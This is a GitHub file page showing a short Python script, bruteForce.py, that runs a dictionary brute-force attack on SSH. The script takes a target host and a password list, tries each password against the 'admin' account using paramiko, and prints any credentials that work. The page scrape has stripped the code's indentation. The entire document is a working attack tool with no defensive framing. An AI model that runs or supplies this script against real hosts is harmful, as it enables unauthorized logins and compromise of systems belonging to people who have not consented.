-
Notifications
You must be signed in to change notification settings - Fork 2
/
bruteForce.py
52 lines (29 loc) · 1008 Bytes
/
bruteForce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import paramiko, sys
def sshConnection(password):
global target
ssh = paramiko.client.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port =22, username = "admin", password = password)
except:
ssh.close()
print("SSH authentication failure")
else:
print("Authentication successful")
print("Credentials: admin@" + target + " Password: " + password)
f.close()
ssh.close()
sys.exit(0)
print("\n\tDictionary brute force attack on SSH services")
print("\t---------------------------------------------\n\n")
target = input(" > Enter target host address to connect to : ")
password_file = input(" > Enter the filename of the password list : ")
f = open(password_file, "r")
attempts = 0
print("\n\tBrute forcing passwords from the file...\n")
for password in f.readlines():
password = password.strip("\n")
attempts += 1
print("Attempt: %-3s %-15s "%(str(attempts),password), end=" ")
sshConnection(password)
f.close()